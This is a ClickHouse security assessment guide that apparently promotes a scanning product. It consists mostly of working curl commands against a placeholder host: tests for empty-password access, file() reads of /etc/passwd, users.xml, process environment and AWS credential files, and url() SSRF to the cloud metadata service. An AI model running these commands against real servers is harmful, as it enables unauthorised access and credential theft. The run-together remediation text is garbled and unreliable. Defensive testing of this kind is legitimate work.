ClickHouse is a high-performance columnar OLAP database increasingly used for analytics, observability pipelines, and real-time dashboards. Its default configuration ships with an default user having an empty password and network-accessible HTTP (port 8123) and native (port 9000) interfaces. The file() table function can read arbitrary local files including /etc/passwd and application secrets. SQL injection via concatenated query strings in application code leads to data exfiltration, and the URL() function can be used for SSRF from the database server's network context. This guide covers systematic ClickHouse security assessment.
# ClickHouse default: user 'default' with empty password
# HTTP interface port 8123, native interface port 9000
# Test empty password via HTTP interface
curl -s "http://clickhouse.example.com:8123/?query=SELECT+version()" 2>/dev/null
# Returns ClickHouse version = unauthenticated access confirmed
# Full query execution as default user
curl -s "http://clickhouse.example.com:8123/?query=SHOW+DATABASES" \
--user "default:" 2>/dev/null
# Lists all databases — empty password accepted
# Test via clickhouse-client
clickhouse-client --host clickhouse.example.com \
--user default --password '' \
--query "SHOW DATABASES" 2>/dev/null
# Enumerate all users
curl -s "http://clickhouse.example.com:8123/?query=SELECT+name,storage+FROM+system.users" \
--user "default:" 2>/dev/null
# Lists all database users and authentication methods
# Check current user privileges
curl -s "http://clickhouse.example.com:8123/?query=SELECT+currentUser(),hasGlobalGrantee(currentUser(),'SHOW+USERS')" \
--user "default:" 2>/dev/null
# ClickHouse file() table function reads local files on the server
# Requires file() permission (granted to admin/default in many configs)
# Read /etc/passwd
curl -s "http://clickhouse.example.com:8123/?query=SELECT+*+FROM+file('/etc/passwd','LineAsString')" \
--user "default:" 2>/dev/null | head -20
# Read application configuration files
curl -s "http://clickhouse.example.com:8123/?query=SELECT+*+FROM+file('/etc/clickhouse-server/users.xml','LineAsString')" \
--user "default:" 2>/dev/null | head -30
# Contains all ClickHouse user passwords and network access rules
# Read environment variables from /proc/1/environ
curl -s "http://clickhouse.example.com:8123/?query=SELECT+*+FROM+file('/proc/1/environ','LineAsString')" \
--user "default:" 2>/dev/null | tr '\0' '\n' | head -20
# May contain DATABASE_URL, AWS_SECRET_ACCESS_KEY, etc.
# Read AWS credentials
curl -s "http://clickhouse.example.com:8123/?query=SELECT+*+FROM+file('/root/.aws/credentials','LineAsString')" \
--user "default:" 2>/dev/null 2>&1
# url() function SSRF — make outbound HTTP requests from ClickHouse server context
curl -s "http://clickhouse.example.com:8123/?query=SELECT+*+FROM+url('http://169.254.169.254/latest/meta-data/iam/security-credentials/','LineAsString')" \
--user "default:" 2>/dev/null
default user in users.xml or configure no-password-less users<networks><ip>127.0.0.1</ip></networks> in user configfile() table function: set max_table_size_to_drop and restrict file access via user_files_path| Security Test | Method | Risk |
|---|---|---|
| Default user with empty password | curl :8123/?query=SELECT+version() without credentials | Critical |
| file() reads /etc/passwd and secrets | SELECT * FROM file('/etc/passwd','LineAsString') | Critical |
| url() function SSRF to metadata service | SELECT * FROM url('http://169.254.169.254/...') | Critical |
| HTTP interface on port 8123 network-accessible | curl :8123 returns ClickHouse response | High |
| users.xml readable (contains all passwords) | file('/etc/clickhouse-server/users.xml',...) | High |
| SQL injection via concatenated queries | Inject UNION SELECT or stacked queries | High |
Ironimo tests ClickHouse deployments for default empty password access, file() function local file read including secrets and credentials, url() SSRF to cloud metadata services, SQL injection, user privilege escalation, HTTP interface information disclosure, and TLS misconfiguration.
Start free scan